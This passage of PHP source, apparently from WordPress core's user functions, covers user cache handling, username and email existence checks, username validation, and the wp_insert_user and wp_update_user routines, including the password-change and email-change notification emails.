			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
			 *
			 * @since 2.9.0
			 *
			 * @param mixed $value   Value of the prefixed user field.
			 * @param int   $user_id User ID.
			 */
			$value = apply_filters( "edit_user_{$field}", $value, $user_id );
		}

		if ( 'description' === $field ) {
			$value = esc_html( $value ); // textarea_escaped?
		} else {
			$value = esc_attr( $value );
		}
	} elseif ( 'db' === $context ) {
		if ( $prefixed ) {
			/** This filter is documented in wp-includes/post.php */
			$value = apply_filters( "pre_{$field}", $value );
		} else {

			/**
			 * Filters the value of a user field in the 'db' context.
			 *
			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
			 *
			 * @since 2.9.0
			 *
			 * @param mixed $value Value of the prefixed user field.
			 */
			$value = apply_filters( "pre_user_{$field}", $value );
		}
	} else {
		// Use display filters by default.
		if ( $prefixed ) {

			/** This filter is documented in wp-includes/post.php */
			$value = apply_filters( "{$field}", $value, $user_id, $context );
		} else {

			/**
			 * Filters the value of a user field in a standard context.
			 *
			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
			 *
			 * @since 2.9.0
			 *
			 * @param mixed  $value   The user object value to sanitize.
			 * @param int    $user_id User ID.
			 * @param string $context The context to filter within.
			 */
			$value = apply_filters( "user_{$field}", $value, $user_id, $context );
		}
	}

	if ( 'user_url' === $field ) {
		$value = esc_url( $value );
	}

	if ( 'attribute' === $context ) {
		$value = esc_attr( $value );
	} elseif ( 'js' === $context ) {
		$value = esc_js( $value );
	}

	// Restore the type for integer fields after esc_attr().
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	return $value;
}

/**
 * Updates all user caches.
 *
 * @since 3.0.0
 *
 * @param object|WP_User $user User object or database row to be cached
 * @return void|false Void on success, false on failure.
 */
function update_user_caches( $user ) {
	if ( $user instanceof WP_User ) {
		if ( ! $user->exists() ) {
			return false;
		}

		$user = $user->data;
	}

	wp_cache_add( $user->ID, $user, 'users' );
	wp_cache_add( $user->user_login, $user->ID, 'userlogins' );
	wp_cache_add( $user->user_nicename, $user->ID, 'userslugs' );

	if ( ! empty( $user->user_email ) ) {
		wp_cache_add( $user->user_email, $user->ID, 'useremail' );
	}
}

/**
 * Cleans all user caches.
 *
 * @since 3.0.0
 * @since 4.4.0 'clean_user_cache' action was added.
 * @since 6.2.0 User metadata caches are now cleared.
 *
 * @param WP_User|int $user User object or ID to be cleaned from the cache
 */
function clean_user_cache( $user ) {
	if ( is_numeric( $user ) ) {
		$user = new WP_User( $user );
	}

	if ( ! $user->exists() ) {
		return;
	}

	wp_cache_delete( $user->ID, 'users' );
	wp_cache_delete( $user->user_login, 'userlogins' );
	wp_cache_delete( $user->user_nicename, 'userslugs' );

	if ( ! empty( $user->user_email ) ) {
		wp_cache_delete( $user->user_email, 'useremail' );
	}

	wp_cache_delete( $user->ID, 'user_meta' );
	wp_cache_set_users_last_changed();

	/**
	 * Fires immediately after the given user's cache is cleaned.
	 *
	 * @since 4.4.0
	 *
	 * @param int     $user_id User ID.
	 * @param WP_User $user    User object.
	 */
	do_action( 'clean_user_cache', $user->ID, $user );
}

/**
 * Determines whether the given username exists.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @param string $username The username to check for existence.
 * @return int|false The user ID on success, false on failure.
 */
function username_exists( $username ) {
	$user = get_user_by( 'login', $username );
	if ( $user ) {
		$user_id = $user->ID;
	} else {
		$user_id = false;
	}

	/**
	 * Filters whether the given username exists.
	 *
	 * @since 4.9.0
	 *
	 * @param int|false $user_id  The user ID associated with the username,
	 *                            or false if the username does not exist.
	 * @param string    $username The username to check for existence.
	 */
	return apply_filters( 'username_exists', $user_id, $username );
}

/**
 * Determines whether the given email exists.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.1.0
 *
 * @param string $email The email to check for existence.
 * @return int|false The user ID on success, false on failure.
 */
function email_exists( $email ) {
	$user = get_user_by( 'email', $email );
	if ( $user ) {
		$user_id = $user->ID;
	} else {
		$user_id = false;
	}

	/**
	 * Filters whether the given email exists.
	 *
	 * @since 5.6.0
	 *
	 * @param int|false $user_id The user ID associated with the email,
	 *                           or false if the email does not exist.
	 * @param string    $email   The email to check for existence.
	 */
	return apply_filters( 'email_exists', $user_id, $email );
}

/**
 * Checks whether a username is valid.
 *
 * @since 2.0.1
 * @since 4.4.0 Empty sanitized usernames are now considered invalid.
 *
 * @param string $username Username.
 * @return bool Whether username given is valid.
 */
function validate_username( $username ) {
	$sanitized = sanitize_user( $username, true );
	$valid     = ( $sanitized === $username && ! empty( $sanitized ) );

	/**
	 * Filters whether the provided username is valid.
	 *
	 * @since 2.0.1
	 *
	 * @param bool   $valid    Whether given username is valid.
	 * @param string $username Username to check.
	 */
	return apply_filters( 'validate_username', $valid, $username );
}

/**
 * Inserts a user into the database.
 *
 * Most of the `$userdata` array fields have filters associated with the values. Exceptions are
 * 'ID', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl',
 * 'user_registered', 'user_activation_key', 'spam', and 'role'. The filters have the prefix
 * 'pre_user_' followed by the field name. An example using 'description' would have the filter
 * called 'pre_user_description' that can be hooked into.
 *
 * @since 2.0.0
 * @since 3.6.0 The `aim`, `jabber`, and `yim` fields were removed as default user contact
 *              methods for new installations. See wp_get_user_contact_methods().
 * @since 4.7.0 The `locale` field can be passed to `$userdata`.
 * @since 5.3.0 The `user_activation_key` field can be passed to `$userdata`.
 * @since 5.3.0 The `spam` field can be passed to `$userdata` (Multisite only).
 * @since 5.9.0 The `meta_input` field can be passed to `$userdata` to allow addition of user meta data.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array|object|WP_User $userdata {
 *     An array, object, or WP_User object of user data arguments.
 *
 *     @type int    $ID                   User ID. If supplied, the user will be updated.
 *     @type string $user_pass            The plain-text user password for new users.
 *                                        Hashed password for existing users.
 *     @type string $user_login           The user's login username.
 *     @type string $user_nicename        The URL-friendly user name.
 *     @type string $user_url             The user URL.
 *     @type string $user_email           The user email address.
 *     @type string $display_name         The user's display name.
 *                                        Default is the user's username.
 *     @type string $nickname             The user's nickname.
 *                                        Default is the user's username.
 *     @type string $first_name           The user's first name. For new users, will be used
 *                                        to build the first part of the user's display name
 *                                        if `$display_name` is not specified.
 *     @type string $last_name            The user's last name. For new users, will be used
 *                                        to build the second part of the user's display name
 *                                        if `$display_name` is not specified.
 *     @type string $description          The user's biographical description.
 *     @type string $rich_editing         Whether to enable the rich-editor for the user.
 *                                        Accepts 'true' or 'false' as a string literal,
 *                                        not boolean. Default 'true'.
 *     @type string $syntax_highlighting  Whether to enable the rich code editor for the user.
 *                                        Accepts 'true' or 'false' as a string literal,
 *                                        not boolean. Default 'true'.
 *     @type string $comment_shortcuts    Whether to enable comment moderation keyboard
 *                                        shortcuts for the user. Accepts 'true' or 'false'
 *                                        as a string literal, not boolean. Default 'false'.
 *     @type string $admin_color          Admin color scheme for the user. Default 'fresh'.
 *     @type bool   $use_ssl              Whether the user should always access the admin over
 *                                        https. Default false.
 *     @type string $user_registered      Date the user registered in UTC. Format is 'Y-m-d H:i:s'.
 *     @type string $user_activation_key  Password reset key. Default empty.
 *     @type bool   $spam                 Multisite only. Whether the user is marked as spam.
 *                                        Default false.
 *     @type string $show_admin_bar_front Whether to display the Admin Bar for the user
 *                                        on the site's front end. Accepts 'true' or 'false'
 *                                        as a string literal, not boolean. Default 'true'.
 *     @type string $role                 User's role.
 *     @type string $locale               User's locale. Default empty.
 *     @type array  $meta_input           Array of custom user meta values keyed by meta key.
 *                                        Default empty.
 * }
 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
 *                      be created.
 */
function wp_insert_user( $userdata ) {
	global $wpdb;

	if ( $userdata instanceof stdClass ) {
		$userdata = get_object_vars( $userdata );
	} elseif ( $userdata instanceof WP_User ) {
		$userdata = $userdata->to_array();
	}

	// Are we updating or creating?
	if ( ! empty( $userdata['ID'] ) ) {
		$user_id       = (int) $userdata['ID'];
		$update        = true;
		$old_user_data = get_userdata( $user_id );

		if ( ! $old_user_data ) {
			return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
		}

		// Slash current user email to compare it later with slashed new user email.
		$old_user_data->user_email = wp_slash( $old_user_data->user_email );

		// Hashed in wp_update_user(), plaintext if called directly.
		$user_pass = ! empty( $userdata['user_pass'] ) ? $userdata['user_pass'] : $old_user_data->user_pass;
	} else {
		$update = false;
		// Hash the password.
		$user_pass = wp_hash_password( $userdata['user_pass'] );
	}

	$sanitized_user_login = sanitize_user( $userdata['user_login'], true );

	/**
	 * Filters a username after it has been sanitized.
	 *
	 * This filter is called before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $sanitized_user_login Username after it has been sanitized.
	 */
	$pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );

	// Remove any non-printable chars from the login string to see if we have ended up with an empty username.
	$user_login = trim( $pre_user_login );

	// user_login must be between 0 and 60 characters.
	if ( empty( $user_login ) ) {
		return new WP_Error( 'empty_user_login', __( 'Cannot create a user with an empty login name.' ) );
	} elseif ( mb_strlen( $user_login ) > 60 ) {
		return new WP_Error( 'user_login_too_long', __( 'Username may not be longer than 60 characters.' ) );
	}

	if ( ! $update && username_exists( $user_login ) ) {
		return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
	}

	/**
	 * Filters the list of disallowed usernames.
	 *
	 * @since 4.4.0
	 *
	 * @param array $usernames Array of disallowed usernames.
	 */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		return new WP_Error( 'invalid_username', __( 'Sorry, that username is not allowed.' ) );
	}

	/*
	 * If a nicename is provided, remove unsafe user characters before using it.
	 * Otherwise build a nicename from the user_login.
	 */
	if ( ! empty( $userdata['user_nicename'] ) ) {
		$user_nicename = sanitize_user( $userdata['user_nicename'], true );
	} else {
		$user_nicename = mb_substr( $user_login, 0, 50 );
	}

	$user_nicename = sanitize_title( $user_nicename );

	/**
	 * Filters a user's nicename before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $user_nicename The user's nicename.
	 */
	$user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );

	if ( mb_strlen( $user_nicename ) > 50 ) {
		return new WP_Error( 'user_nicename_too_long', __( 'Nicename may not be longer than 50 characters.' ) );
	}

	$user_nicename_check = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1", $user_nicename, $user_login ) );

	if ( $user_nicename_check ) {
		$suffix = 2;
		while ( $user_nicename_check ) {
			// user_nicename allows 50 chars. Subtract one for a hyphen, plus the length of the suffix.
			$base_length         = 49 - mb_strlen( $suffix );
			$alt_user_nicename   = mb_substr( $user_nicename, 0, $base_length ) . "-$suffix";
			$user_nicename_check = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1", $alt_user_nicename, $user_login ) );
			++$suffix;
		}
		$user_nicename = $alt_user_nicename;
	}

	$raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];

	/**
	 * Filters a user's email before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $raw_user_email The user's email.
	 */
	$user_email = apply_filters( 'pre_user_email', $raw_user_email );

	/*
	 * If there is no update, just check for `email_exists`. If there is an update,
	 * check if current email and new email are the same, and check `email_exists`
	 * accordingly.
	 */
	if ( ( ! $update || ( ! empty( $old_user_data ) && 0 !== strcasecmp( $user_email, $old_user_data->user_email ) ) )
		&& ! defined( 'WP_IMPORTING' )
		&& email_exists( $user_email )
	) {
		return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
	}

	$raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];

	/**
	 * Filters a user's URL before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $raw_user_url The user's URL.
	 */
	$user_url = apply_filters( 'pre_user_url', $raw_user_url );

	if ( mb_strlen( $user_url ) > 100 ) {
		return new WP_Error( 'user_url_too_long', __( 'User URL may not be longer than 100 characters.' ) );
	}

	$user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];

	$user_activation_key = empty( $userdata['user_activation_key'] ) ? '' : $userdata['user_activation_key'];

	if ( ! empty( $userdata['spam'] ) && ! is_multisite() ) {
		return new WP_Error( 'no_spam', __( 'Sorry, marking a user as spam is only supported on Multisite.' ) );
	}

	$spam = empty( $userdata['spam'] ) ? 0 : (bool) $userdata['spam'];

	// Store values to save in user meta.
	$meta = array();

	$nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];

	/**
	 * Filters a user's nickname before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $nickname The user's nickname.
	 */
	$meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );

	$first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];

	/**
	 * Filters a user's first name before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $first_name The user's first name.
	 */
	$meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );

	$last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];

	/**
	 * Filters a user's last name before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $last_name The user's last name.
	 */
	$meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );

	if ( empty( $userdata['display_name'] ) ) {
		if ( $update ) {
			$display_name = $user_login;
		} elseif ( $meta['first_name'] && $meta['last_name'] ) {
			$display_name = sprintf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$meta['first_name'],
				$meta['last_name']
			);
		} elseif ( $meta['first_name'] ) {
			$display_name = $meta['first_name'];
		} elseif ( $meta['last_name'] ) {
			$display_name = $meta['last_name'];
		} else {
			$display_name = $user_login;
		}
	} else {
		$display_name = $userdata['display_name'];
	}

	/**
	 * Filters a user's display name before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $display_name The user's display name.
	 */
	$display_name = apply_filters( 'pre_user_display_name', $display_name );

	$description = empty( $userdata['description'] ) ? '' : $userdata['description'];

	/**
	 * Filters a user's description before the user is created or updated.
	 *
	 * @since 2.0.3
	 *
	 * @param string $description The user's description.
	 */
	$meta['description'] = apply_filters( 'pre_user_description', $description );

	$meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];

	$meta['syntax_highlighting'] = empty( $userdata['syntax_highlighting'] ) ? 'true' : $userdata['syntax_highlighting'];

	$meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) || 'false' === $userdata['comment_shortcuts'] ? 'false' : 'true';

	$admin_color         = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
	$meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );

	$meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? '0' : '1';

	$meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];

	$meta['locale'] = isset( $userdata['locale'] ) ? $userdata['locale'] : '';

	$compacted = compact( 'user_pass', 'user_nicename', 'user_email', 'user_url', 'user_registered', 'user_activation_key', 'display_name' );
	$data      = wp_unslash( $compacted );

	if ( ! $update ) {
		$data = $data + compact( 'user_login' );
	}

	if ( is_multisite() ) {
		$data = $data + compact( 'spam' );
	}

	/**
	 * Filters user data before the record is created or updated.
	 *
	 * It only includes data in the users table, not any user metadata.
	 *
	 * @since 4.9.0
	 * @since 5.8.0 The `$userdata` parameter was added.
	 * @since 6.8.0 The user's password is now hashed using bcrypt by default instead of phpass.
	 *
	 * @param array    $data {
	 *     Values and keys for the user.
	 *
	 *     @type string $user_login      The user's login. Only included if $update == false
	 *     @type string $user_pass       The user's password.
	 *     @type string $user_email      The user's email.
	 *     @type string $user_url        The user's url.
	 *     @type string $user_nicename   The user's nice name. Defaults to a URL-safe version of user's login.
	 *     @type string $display_name    The user's display name.
	 *     @type string $user_registered MySQL timestamp describing the moment when the user registered. Defaults to
	 *                                   the current UTC timestamp.
	 * }
	 * @param bool     $update   Whether the user is being updated rather than created.
	 * @param int|null $user_id  ID of the user to be updated, or NULL if the user is being created.
	 * @param array    $userdata The raw array of data passed to wp_insert_user().
	 */
	$data = apply_filters( 'wp_pre_insert_user_data', $data, $update, ( $update ? $user_id : null ), $userdata );

	if ( empty( $data ) || ! is_array( $data ) ) {
		return new WP_Error( 'empty_data', __( 'Not enough data to create this user.' ) );
	}

	if ( $update ) {
		if ( $user_email !== $old_user_data->user_email || $user_pass !== $old_user_data->user_pass ) {
			$data['user_activation_key'] = '';
		}
		$wpdb->update( $wpdb->users, $data, array( 'ID' => $user_id ) );
	} else {
		$wpdb->insert( $wpdb->users, $data );
		$user_id = (int) $wpdb->insert_id;
	}

	$user = new WP_User( $user_id );

	/**
	 * Filters a user's meta values and keys immediately after the user is created or updated
	 * and before any user meta is inserted or updated.
	 *
	 * Does not include contact methods. These are added using `wp_get_user_contact_methods( $user )`.
	 *
	 * For custom meta fields, see the {@see 'insert_custom_user_meta'} filter.
	 *
	 * @since 4.4.0
	 * @since 5.8.0 The `$userdata` parameter was added.
	 *
	 * @param array $meta {
	 *     Default meta values and keys for the user.
	 *
	 *     @type string   $nickname             The user's nickname. Default is the user's username.
	 *     @type string   $first_name           The user's first name.
	 *     @type string   $last_name            The user's last name.
	 *     @type string   $description          The user's description.
	 *     @type string   $rich_editing         Whether to enable the rich-editor for the user. Default 'true'.
	 *     @type string   $syntax_highlighting  Whether to enable the rich code editor for the user. Default 'true'.
	 *     @type string   $comment_shortcuts    Whether to enable keyboard shortcuts for the user. Default 'false'.
	 *     @type string   $admin_color          The color scheme for a user's admin screen. Default 'fresh'.
	 *     @type int|bool $use_ssl              Whether to force SSL on the user's admin area. 0|false if SSL
	 *                                          is not forced.
	 *     @type string   $show_admin_bar_front Whether to show the admin bar on the front end for the user.
	 *                                          Default 'true'.
	 *     @type string   $locale               User's locale. Default empty.
	 * }
	 * @param WP_User $user     User object.
	 * @param bool    $update   Whether the user is being updated rather than created.
	 * @param array   $userdata The raw array of data passed to wp_insert_user().
	 */
	$meta = apply_filters( 'insert_user_meta', $meta, $user, $update, $userdata );

	$custom_meta = array();
	if ( array_key_exists( 'meta_input', $userdata ) && is_array( $userdata['meta_input'] ) && ! empty( $userdata['meta_input'] ) ) {
		$custom_meta = $userdata['meta_input'];
	}

	/**
	 * Filters a user's custom meta values and keys immediately after the user is created or updated
	 * and before any user meta is inserted or updated.
	 *
	 * For non-custom meta fields, see the {@see 'insert_user_meta'} filter.
	 *
	 * @since 5.9.0
	 *
	 * @param array   $custom_meta Array of custom user meta values keyed by meta key.
	 * @param WP_User $user        User object.
	 * @param bool    $update      Whether the user is being updated rather than created.
	 * @param array   $userdata    The raw array of data passed to wp_insert_user().
	 */
	$custom_meta = apply_filters( 'insert_custom_user_meta', $custom_meta, $user, $update, $userdata );

	$meta = array_merge( $meta, $custom_meta );

	if ( $update ) {
		// Update user meta.
		foreach ( $meta as $key => $value ) {
			update_user_meta( $user_id, $key, $value );
		}
	} else {
		// Add user meta.
		foreach ( $meta as $key => $value ) {
			add_user_meta( $user_id, $key, $value );
		}
	}

	foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
		if ( isset( $userdata[ $key ] ) ) {
			update_user_meta( $user_id, $key, $userdata[ $key ] );
		}
	}

	if ( isset( $userdata['role'] ) ) {
		$user->set_role( $userdata['role'] );
	} elseif ( ! $update ) {
		$user->set_role( get_option( 'default_role' ) );
	}

	clean_user_cache( $user_id );

	if ( $update ) {
		/**
		 * Fires immediately after an existing user is updated.
		 *
		 * @since 2.0.0
		 * @since 5.8.0 The `$userdata` parameter was added.
		 *
		 * @param int     $user_id       User ID.
		 * @param WP_User $old_user_data Object containing user's data prior to update.
		 * @param array   $userdata      The raw array of data passed to wp_insert_user().
		 */
		do_action( 'profile_update', $user_id, $old_user_data, $userdata );

		if ( isset( $userdata['spam'] ) && $userdata['spam'] !== $old_user_data->spam ) {
			if ( '1' === $userdata['spam'] ) {
				/**
				 * Fires after the user is marked as a SPAM user.
				 *
				 * @since 3.0.0
				 *
				 * @param int $user_id ID of the user marked as SPAM.
				 */
				do_action( 'make_spam_user', $user_id );
			} else {
				/**
				 * Fires after the user is marked as a HAM user. Opposite of SPAM.
				 *
				 * @since 3.0.0
				 *
				 * @param int $user_id ID of the user marked as HAM.
				 */
				do_action( 'make_ham_user', $user_id );
			}
		}
	} else {
		/**
		 * Fires immediately after a new user is registered.
		 *
		 * @since 1.5.0
		 * @since 5.8.0 The `$userdata` parameter was added.
		 *
		 * @param int   $user_id  User ID.
		 * @param array $userdata The raw array of data passed to wp_insert_user().
		 */
		do_action( 'user_register', $user_id, $userdata );
	}

	return $user_id;
}

/**
 * Updates a user in the database.
 *
 * It is possible to update a user's password by specifying the 'user_pass'
 * value in the $userdata parameter array.
 *
 * If current user's password is being updated, then the cookies will be
 * cleared.
 *
 * @since 2.0.0
 *
 * @see wp_insert_user() For what fields can be set in $userdata.
 *
 * @param array|object|WP_User $userdata An array of user data or a user object of type stdClass or WP_User.
 * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
 */
function wp_update_user( $userdata ) {
	if ( $userdata instanceof stdClass ) {
		$userdata = get_object_vars( $userdata );
	} elseif ( $userdata instanceof WP_User ) {
		$userdata = $userdata->to_array();
	}

	$userdata_raw = $userdata;

	$user_id = isset( $userdata['ID'] ) ? (int) $userdata['ID'] : 0;
	if ( ! $user_id ) {
		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
	}

	// First, get all of the original fields.
	$user_obj = get_userdata( $user_id );
	if ( ! $user_obj ) {
		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
	}

	$user = $user_obj->to_array();

	// Add additional custom fields.
	foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
		$user[ $key ] = get_user_meta( $user_id, $key, true );
	}

	// Escape data pulled from DB.
	$user = add_magic_quotes( $user );

	if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {
		// If password is changing, hash it now.
		$plaintext_pass        = $userdata['user_pass'];
		$userdata['user_pass'] = wp_hash_password( $userdata['user_pass'] );

		/**
		 * Filters whether to send the password change email.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_insert_user() For `$user` and `$userdata` fields.
		 *
		 * @param bool  $send     Whether to send the email.
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$send_password_change_email = apply_filters( 'send_password_change_email', true, $user, $userdata );
	}

	if ( isset( $userdata['user_email'] ) && $user['user_email'] !== $userdata['user_email'] ) {
		/**
		 * Filters whether to send the email change email.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_insert_user() For `$user` and `$userdata` fields.
		 *
		 * @param bool  $send     Whether to send the email.
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$send_email_change_email = apply_filters( 'send_email_change_email', true, $user, $userdata );
	}

	clean_user_cache( $user_obj );

	// Merge old and new fields with new fields overwriting old ones.
	$userdata = array_merge( $user, $userdata );
	$user_id  = wp_insert_user( $userdata );

	if ( is_wp_error( $user_id ) ) {
		return $user_id;
	}

	$blog_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

	$switched_locale = false;
	if ( ! empty( $send_password_change_email ) || ! empty( $send_email_change_email ) ) {
		$switched_locale = switch_to_user_locale( $user_id );
	}

	if ( ! empty( $send_password_change_email ) ) {
		/* translators: Do not translate USERNAME, ADMIN_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
		$pass_change_text = __(
			'Hi ###USERNAME###,

This notice confirms that your password was changed on ###SITENAME###.

If you did not change your password, please contact the Site Administrator at
###ADMIN_EMAIL###

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);

		$pass_change_email = array(
			'to'      => $user['user_email'],
			/* translators: Password change notification email subject. %s: Site title. */
			'subject' => __( '[%s] Password Changed' ),
			'message' => $pass_change_text,
			'headers' => '',
		);

		/**
		 * Filters the contents of the email sent when the user's password is changed.
		 *
		 * @since 4.3.0
		 *
		 * @param array $pass_change_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The intended recipients. Add emails in a comma separated string.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The content of the email.
		 *         The following strings have a special meaning and will get replaced dynamically:
		 *         - ###USERNAME###    The current user's username.
		 *         - ###ADMIN_EMAIL### The admin email in case this was unexpected.
		 *         - ###EMAIL###       The user's email address.
		 *         - ###SITENAME###    The name of the site.
		 *         - ###SITEURL###     The URL to the site.
		 *     @type string $headers Headers. Add headers in a newline (\r\n) separated string.
		 * }
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$pass_change_email = apply_filters( 'password_change_email', $pass_change_email, $user, $userdata );

		$pass_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $pass_change_email['message'] );
		$pass_change_email['message'] = str_replace( '###SITEURL###', home_url(), $pass_change_email['message'] );

		wp_mail( $pass_change_email['to'], sprintf( $pass_change_email['subject'], $blog_name ), $pass_change_email['message'], $pass_change_email['headers'] );
	}

	if ( ! empty( $send_email_change_email ) ) {
		/* translators: Do not translate USERNAME, ADMIN_EMAIL, NEW_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
		$email_change_text = __(
			'Hi ###USERNAME###,

This notice confirms that your email address on ###SITENAME### was changed to ###NEW_EMAIL###.

If you did not change your email, please contact the Site Administrator at
###ADMIN_EMAIL###

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);

		$email_change_email = array(
			'to'      => $user['user_email'],
			/* translators: Email change notification email subject. %s: Site title. */
			'subject' => __( '[%s] Email Changed' ),
			'message' => $email_change_text,
			'headers' => '',
		);

		/**
		 * Filters the contents of the email sent when the user's email is changed.
		 *
		 * @since 4.3.0
		 *
		 * @param array $email_change_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The intended recipients.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The content of the email.
		 *         The following strings have a special meaning and will get replaced dynamically:
		 *         - ###USERNAME###    The current user's username.
		 *         - ###ADMIN_EMAIL### The admin email in case this was unexpected.
		 *         - ###NEW_EMAIL###   The new email address.
		 *         - ###EMAIL###       The old email address.
		 *         - ###SITENAME###    The name of the site.
		 *         - ###SITEURL###     The URL to the site.
		 *     @type string $headers Headers.
		 * }
		 * @param array $user     The original user array.
		 * @param array $userdata The updated user array.
		 */
		$email_change_email = apply_filters( 'email_change_email', $email_change_email, $user, $userdata );

		$email_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $userdata['user_email'], $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $email_change_email['message'] );
		$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );

		wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $blog_name ), $email_change_email['message'], $email_change_email['headers'] );
	}

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	// Update the cookies if the password changed.
	$current_user = wp_get_current_user();
	if ( $current_user->ID === $user_id ) {
		if ( isset( $plaintext_pass ) ) {
			/*
			 * Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
			 * If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
			 */
			$logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
			/** This filter is documented in wp-includes/pluggable.php */
			$default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $user_id, false );

			wp_clear_auth_cookie();

			$remember = false;
			$token    = '';

			if ( false !== $logged_in_cookie ) {
				$token = $logged_in_cookie['token'];
			}

			if ( false !== $logged_in_cookie && ( (int) $logged_in_cookie['expiration'] - time() ) > $default_cookie_life ) {
				$remember = true;
			}

			wp_set_auth_cookie( $user_id, $remember, '', $token );
		}
	}

	/**
	 * Fires after the user has been updated and emails have been sent.
	 *
	 * @since 6.3.0
	 *
	 * @param int   $user_id      The ID of the user that was just updated.
	 * @param array $userdata     The array of user data that was updated.
	 * @param array $userdata_raw The unedited array of user data that was updated.
	 */
	do_action( 'wp_update_user', $user_id, $userdata, $userdata_raw );

	return $user_id;
}

/**
 * Provides a simpler way of inserting a user into the database.
 *
 * Creates a new user with just the username, password, and email. For more
 * complex user creation use wp_insert_user() to specify more information.
 *
 * @since 2.0.0
 *
